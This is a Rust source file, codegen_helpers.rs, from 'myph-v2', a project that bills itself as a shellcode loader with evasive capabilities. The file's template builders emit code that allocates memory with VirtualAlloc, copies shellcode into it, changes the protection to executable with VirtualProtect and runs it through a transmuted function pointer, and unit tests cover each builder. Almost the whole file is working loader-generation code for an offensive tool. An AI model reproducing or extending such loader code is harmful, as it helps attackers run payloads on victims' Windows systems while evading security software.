myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
codegen_helpers.rs (8162B)
      1 //! Helper functions for generating common code patterns in technique templates
      2 
      3 /// Format a function parameter for extern declarations
      4 pub fn format_param(name: &str, type_str: &str) -> String {
      5     format!("        {}: {}", name, type_str)
      6 }
      7 
      8 /// Memory protection flags
      9 pub mod protection_flags {
     10     pub const READWRITE: &str = "PAGE_READWRITE";
     11     pub const EXECUTE_READ: &str = "PAGE_EXECUTE_READ";
     12     pub const EXECUTE_READWRITE: &str = "PAGE_EXECUTE_READWRITE";
     13 }
     14 
     15 /// Generate an extern block with multiple functions
     16 pub struct ExternBlockBuilder {
     17     library: String,
     18     functions: Vec<String>,
     19 }
     20 
     21 impl ExternBlockBuilder {
     22     pub fn new(library: &str) -> Self {
     23         Self {
     24             library: library.to_string(),
     25             functions: Vec::new(),
     26         }
     27     }
     28 
     29     pub fn add_function(mut self, signature: &str) -> Self {
     30         self.functions.push(format!("    {}", signature));
     31         self
     32     }
     33 
     34     pub fn build(self) -> String {
     35         format!(
     36             r#"#[link(name = "{}")]
     37 extern "system" {{
     38 {}
     39 }}"#,
     40             self.library,
     41             self.functions.join("\n\n")
     42         )
     43     }
     44 }
     45 
     46 /// Generate a simple function signature
     47 pub fn simple_function(name: &str, params: &[(&str, &str)], ret: &str) -> String {
     48     let param_list = params
     49         .iter()
     50         .map(|(n, t)| format!("        {}: {}", n, t))
     51         .collect::<Vec<_>>()
     52         .join(",\n");
     53 
     54     if ret.is_empty() {
     55         format!("fn {}(\n{}\n    );", name, param_list)
     56     } else {
     57         format!("fn {}(\n{}\n    ) -> {};", name, param_list, ret)
     58     }
     59 }
     60 
     61 /// Builder for common memory allocation pattern: VirtualAlloc + RtlCopyMemory + VirtualProtect
     62 pub struct MemoryAllocationBuilder {
     63     addr_var: String,
     64     protection: String,
     65     use_virtual_protect: bool,
     66     indent: String,
     67 }
     68 
     69 impl MemoryAllocationBuilder {
     70     pub fn new() -> Self {
     71         Self {
     72             addr_var: "addr".to_string(),
     73             protection: protection_flags::READWRITE.to_string(),
     74             use_virtual_protect: false,
     75             indent: "        ".to_string(),
     76         }
     77     }
     78 
     79     pub fn with_addr_var(mut self, var: &str) -> Self {
     80         self.addr_var = var.to_string();
     81         self
     82     }
     83 
     84     pub fn with_protection(mut self, protection: &str) -> Self {
     85         self.protection = protection.to_string();
     86         self
     87     }
     88 
     89     pub fn with_virtual_protect(mut self, enabled: bool) -> Self {
     90         self.use_virtual_protect = enabled;
     91         self
     92     }
     93 
     94     pub fn with_indent(mut self, indent: &str) -> Self {
     95         self.indent = indent.to_string();
     96         self
     97     }
     98 
     99     pub fn build(&self) -> String {
    100         let virtual_protect_code = if self.use_virtual_protect {
    101             format!(
    102                 r#"
    103 {}let mut old_protect: u32 = {};
    104 {}let result = VirtualProtect({} as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
    105 
    106 {}if result == 0 {{
    107 {}    panic!("failed");
    108 {}}}"#,
    109                 self.indent,
    110                 self.protection,
    111                 self.indent,
    112                 self.addr_var,
    113                 self.indent,
    114                 self.indent,
    115                 self.indent
    116             )
    117         } else {
    118             String::new()
    119         };
    120 
    121         format!(
    122             r#"let {addr} = VirtualAlloc(
    123 {indent}    ptr::null_mut(),
    124 {indent}    shellcode.len(),
    125 {indent}    MEM_COMMIT | MEM_RESERVE,
    126 {indent}    {protection},
    127 {indent});
    128 
    129 {indent}if {addr}.is_null() {{
    130 {indent}    panic!("failed");
    131 {indent}}}
    132 
    133 {indent}RtlCopyMemory(
    134 {indent}    {addr},
    135 {indent}    shellcode.as_ptr() as *const std::ffi::c_void,
    136 {indent}    shellcode.len(),
    137 {indent});{vp_code}"#,
    138             addr = self.addr_var,
    139             indent = self.indent,
    140             protection = self.protection,
    141             vp_code = virtual_protect_code
    142         )
    143     }
    144 }
    145 
    146 impl Default for MemoryAllocationBuilder {
    147     fn default() -> Self {
    148         Self::new()
    149     }
    150 }
    151 
    152 /// Generate error checking pattern for null pointers
    153 pub fn null_check(var_name: &str, indent: &str) -> String {
    154     format!(
    155         r#"if {}.is_null() {{
    156 {}    panic!("failed");
    157 {}}}"#,
    158         var_name, indent, indent
    159     )
    160 }
    161 
    162 /// Generate error checking pattern for integer results
    163 pub fn result_check(var_name: &str, check_value: &str, indent: &str) -> String {
    164     format!(
    165         r#"if {} == {} {{
    166 {}    panic!("failed");
    167 {}}}"#,
    168         var_name, check_value, indent, indent
    169     )
    170 }
    171 
    172 /// Generate shellcode execution pattern (transmute to function pointer)
    173 pub fn shellcode_execution(addr_var: &str, indent: &str) -> String {
    174     format!(
    175         r#"let shellcode_fn: extern "C" fn() = std::mem::transmute({});
    176 {}shellcode_fn();"#,
    177         addr_var, indent
    178     )
    179 }
    180 
    181 #[cfg(test)]
    182 mod tests {
    183     use super::*;
    184 
    185     #[test]
    186     fn test_format_param() {
    187         let result = format_param("handle", "*mut std::ffi::c_void");
    188         assert_eq!(result, "        handle: *mut std::ffi::c_void");
    189     }
    190 
    191     #[test]
    192     fn test_extern_block_builder() {
    193         let block = ExternBlockBuilder::new("kernel32")
    194             .add_function("fn Sleep(milliseconds: u32);")
    195             .add_function("fn GetLastError() -> u32;")
    196             .build();
    197 
    198         assert!(block.contains(r#"#[link(name = "kernel32")]"#));
    199         assert!(block.contains("extern \"system\""));
    200         assert!(block.contains("fn Sleep(milliseconds: u32);"));
    201         assert!(block.contains("fn GetLastError() -> u32;"));
    202     }
    203 
    204     #[test]
    205     fn test_simple_function() {
    206         let result = simple_function(
    207             "VirtualAlloc",
    208             &[
    209                 ("address", "*const std::ffi::c_void"),
    210                 ("size", "usize"),
    211                 ("allocation_type", "u32"),
    212                 ("protect", "u32"),
    213             ],
    214             "*mut std::ffi::c_void",
    215         );
    216 
    217         assert!(result.contains("fn VirtualAlloc("));
    218         assert!(result.contains("address: *const std::ffi::c_void"));
    219         assert!(result.contains(") -> *mut std::ffi::c_void;"));
    220     }
    221 
    222     #[test]
    223     fn test_simple_function_no_return() {
    224         let result = simple_function("RtlCopyMemory", &[("dest", "*mut c_void")], "");
    225 
    226         assert!(result.contains("fn RtlCopyMemory("));
    227         assert!(result.contains("dest: *mut c_void"));
    228         assert!(result.contains(");"));
    229         assert!(!result.contains("->"));
    230     }
    231 
    232     #[test]
    233     fn test_memory_allocation_builder_basic() {
    234         let code = MemoryAllocationBuilder::new().build();
    235 
    236         assert!(code.contains("VirtualAlloc"));
    237         assert!(code.contains("RtlCopyMemory"));
    238         assert!(code.contains("addr"));
    239         assert!(code.contains("PAGE_READWRITE"));
    240         assert!(!code.contains("VirtualProtect"));
    241     }
    242 
    243     #[test]
    244     fn test_memory_allocation_builder_with_protect() {
    245         let code = MemoryAllocationBuilder::new()
    246             .with_virtual_protect(true)
    247             .build();
    248 
    249         assert!(code.contains("VirtualAlloc"));
    250         assert!(code.contains("RtlCopyMemory"));
    251         assert!(code.contains("VirtualProtect"));
    252         assert!(code.contains("PAGE_EXECUTE_READ"));
    253         assert!(code.contains("old_protect"));
    254     }
    255 
    256     #[test]
    257     fn test_memory_allocation_builder_custom_var() {
    258         let code = MemoryAllocationBuilder::new()
    259             .with_addr_var("memory_addr")
    260             .with_protection(protection_flags::EXECUTE_READWRITE)
    261             .build();
    262 
    263         assert!(code.contains("let memory_addr ="));
    264         assert!(code.contains("PAGE_EXECUTE_READWRITE"));
    265     }
    266 
    267     #[test]
    268     fn test_null_check() {
    269         let code = null_check("addr", "    ");
    270         assert!(code.contains("if addr.is_null()"));
    271         assert!(code.contains("panic!(\"failed\")"));
    272     }
    273 
    274     #[test]
    275     fn test_result_check() {
    276         let code = result_check("result", "0", "    ");
    277         assert!(code.contains("if result == 0"));
    278         assert!(code.contains("panic!(\"failed\")"));
    279     }
    280 
    281     #[test]
    282     fn test_shellcode_execution() {
    283         let code = shellcode_execution("addr", "    ");
    284         assert!(code.contains("let shellcode_fn: extern \"C\" fn()"));
    285         assert!(code.contains("std::mem::transmute(addr)"));
    286         assert!(code.contains("shellcode_fn()"));
    287     }
    288 }